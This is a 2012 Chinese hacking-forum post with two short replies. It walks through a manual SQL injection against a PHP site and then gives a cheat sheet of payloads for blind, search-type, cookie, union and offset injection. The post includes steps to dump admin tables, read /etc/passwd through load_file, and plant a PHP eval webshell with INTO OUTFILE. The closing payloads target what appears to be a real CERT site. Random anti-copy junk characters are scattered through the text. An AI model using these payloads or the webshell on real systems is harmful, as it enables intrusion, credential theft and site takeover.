找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3140|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~3 y: C- Y$ ~; w% C. q. {# h/ z. k8 N
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
" o3 X" r9 V5 w, @" S5 S3 U  I我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。% l! V# ?- x/ @% I$ D- h
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
3 F3 j: }$ k4 }+ S* ?1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
+ M: X: X8 P8 e$ Z  ]这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
% o1 |& [7 T2 C; h7 }Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in, _4 ]& Q- L0 d+ W4 ~' A
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入  x( F# t$ v: @+ @- o
                        
8 R: X$ a) L- ~) ]6 D& |2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,1 {# |- ~% }- V8 c! g
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意' O! ?( E4 l4 V# O; _" p
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
% b8 D9 n  [+ ?( S% g) n2 u) M+ @5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
' ^) ?& l. H6 p1 ~# D有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,7 A. ]- j/ _2 Y8 \
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。9 @2 l5 v9 L* y' M
我就用的是第二个思路,( x# ]( M# x- n% D2 f. L' R
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  3 W% ^1 W  k; L8 l9 e" O
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
, B6 d2 `, h- J: \提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
# g. G9 z% k0 ^+ J$ ?8 @# k注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
& p% x) }# O& W0 s7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????1 e& }  p- V2 b/ P: M- D/ x# w
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....3 V) r% B! m0 n
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
6 @1 K1 U& N5 V% U然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
" w& }: \4 L9 @$ J; M! p调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
$ |2 I" c" V# t5 @. \4 W% n下面是一些很普遍注入方式资料:$ ^# }7 d8 ]; d) u
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
' y8 \8 K9 Y5 N2 t. Q0 @2 v' i, E- M' X拆半法' K) |, t4 F0 l  h( z' k# Y+ u
######################################
! c3 ~- M2 a) xand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。3 n* |$ t5 V* e+ K
and exists (select * from admin)
% n2 Q5 p( p& S8 P/ }/ uand exists(select id from admin)9 \  N' ^2 P$ F, K1 L
and exists(select id from admin where id=1)' S) \7 p1 t. U5 P& q( V; W$ ]0 N
and exists(select id from admin where id>1) * @$ P( |+ Q( {$ C! X
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
4 U5 Z! A; }+ \  Aand exists (select username from admin)% B/ Z/ k0 G% J5 }" y
and exists (select password from admin)
" T7 ^" X- S- S' r! {4 T! Cand exists (select id from admin where len(username)<10 and id=1)/ \' o: ~% S0 ^" y* w
and exists (select id from admin where len(username)>5 and id=1)
7 R: R8 K, t4 v4 c* sand exists (select id from admin where len(username)=6 and id=1)
5 i- l8 R* ]+ c/ N$ H9 Land exists (select id from admin where len(password)<10 and id=1)- C) c- N" {3 v. t) T0 y8 b
and exists (select id from admin where len(password)>5 and id=1)
# D; R7 j* }% \. @1 h" kand exists (select id from admin where len(password)=7 and id=1)
9 ?/ H/ M, D0 ~: Dand (select top 1 asc(mid(username,1,1)) from admin)=97
6 c6 R: |0 S  |; M: `7 d* c/ V+ k返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
$ C7 B, _4 S0 n猜第二位把username,1,1改成username,2,1就可以了。
" f( _2 @0 N" S, P猜密码把username改成password就OK了5 E: r# G/ O, G% l
##################################################$ q7 s' o* f: b5 y# C
搜索型注入0 C% S! G' F" ]" }) R7 r( k( h2 f
##################################
9 P9 n- H: x% l%' and 1=1 and '%'='% {- Q+ y0 f4 l1 A
%' and exists (select * from admin) and '%'=') C7 ^% R6 o1 o) U5 I
%' and exists(select id from admin where id=1) and '%'='
/ K' T; X9 Y4 z* [%' and exists (select id from admin where len(username)<10 and id=1) and '%'='6 p1 q$ O. F7 @
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
$ F; {: \4 \1 f, l5 ?%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='. o; n5 A8 N1 J& ~$ i1 M& k0 I2 q7 \
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='7 B1 c  l6 y0 l& F+ a& Y8 ^/ N; q& j
对于MSSQL数据库,后面可以吧 and '%'='换成--
; j% c& G$ U( y2 Y( X还有一点搜索型注入也可以使用union语句。" l; u) L9 f0 v" z5 [
########################################################; g: k  q0 s! [0 K" B8 \  q# d" U
联合查询。- l& q' ^7 A4 P- {8 n9 J
#####################################$ e1 R6 e0 J; ^0 ]9 k7 g
order by 10
3 `8 Z4 j, z0 f7 u. E2 Fand 1=2 union select 1,2,3,4,5,6,7,8,9,10
( N2 n. U" ]  h& H( ^and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
, j, T% W& F/ o+ Z( Wand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=16 A" O, v5 p# u+ X  p
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
# y4 q5 m9 u4 b) f###################################
; n" y% w+ t1 N7 M' T; v* O9 f9 X) Vcookie注入" ~" X5 f  g: E3 ~
###############################
0 |; |4 Z5 h1 N7 q) @* Yhttp://www.******.com/shownews.asp?id=1272 X4 f0 g/ [* }4 p9 G% _5 f% I
http://www.******.com/shownews.asp$ M& ~4 i5 A# ]  `/ B0 U2 S9 E
alert(="id="+escape("127"));9 V( k, K, o0 A- U% N3 V' z
alert(="id="+escape("127 and 1=1"));
! J9 ~) k5 I8 Z% malert(="id="+escape("127 order by 10"));
6 `  z/ z  g- Ralert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));% O' v. L! x) H# o" Y* W. N
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));. x. q, ~6 |  Z
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。0 C% C1 ?- [$ y3 r/ \* M; e
###################################) w+ p7 s' ?. I5 V4 b
偏移注入
* U7 O9 y6 ^! i###########################################################4 H: H: c% }0 {& ^9 Z5 H
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin3 m' O9 ?9 N: x5 p- W
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin, a$ k* k' e, V. K/ U8 R
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
$ t/ A9 x) P# ?5 Lunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
) p. i( ^  n: A! Gunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)* b! G: y* f5 I0 _. x; ]( L. Z
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)+ q4 R. ~7 s' Z7 a- o6 A1 X* U
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
. F- _8 k. _& H1 za.id=d.id)
4 E, K4 V# ~% B/ Y6 s3 Vand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
: N2 v7 }: V" F, \& a, Yand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
5 F- [6 G# Z( j$ n+ B. F  3 m  W" k5 _. {- ?( ~, L- j: o5 M9 D
============================================================================================================; v* k  h- h' K% _$ a3 q" P8 g: i  ~
1.判断版本1 r' a, ^) a) r0 H8 _- Y8 x
and ord(mid(version(),1,1))>51
, N9 t6 W; m' F1 C% x/ d返回正常,说明大于4.0版本,支持ounion查询) G# m0 r8 i6 j8 O4 R; H
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解3 z9 V  O  e0 Z
and 2=4 union select 1,2,3,4,5,6,7,8,9--% n8 h; n2 v! b
3.查看数据库版本及当前用户,
) y; r3 K- ?; Q( Y3 E* Land 2=4 union select 1,user(),version(),4,5,6,7,8,9--6 A( t2 \  j* h+ z# [
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
3 l0 l2 L2 ^! Z; G, m5 d4.判断有没有写权限
# h3 @8 c5 j( X2 O9 r: \and (select count(*) from MySQL.user)>0--
2 ]) w# {6 }1 w5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
' e) |) n. y( i# r$ O  }. Z1 N用不了这个命令,就学习土耳其黑客手法,如下; Y; E! R% a; p8 w' u
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
) |1 m, _6 j! r2 t/ D! ?5 b' A6.爆表,爆库  b$ Q+ v$ V! k) Y* t2 b6 T
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--0 i! z% F8 u& S" p  I9 q% ~
7.爆列名,爆表
$ E0 i$ \0 E5 m7 o4 E, t. ?) Jand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
: S! L- Y5 i9 i, Z1 g5 F% }8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
: G  y( j# ~: l2 D* h/ d2 cand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
$ ?2 O" E4 d; s* j/ e/ G9.爆字段内容
, z8 [& d+ t3 C6 }and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--9 H( @# |' i- R$ I% V( a+ b
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表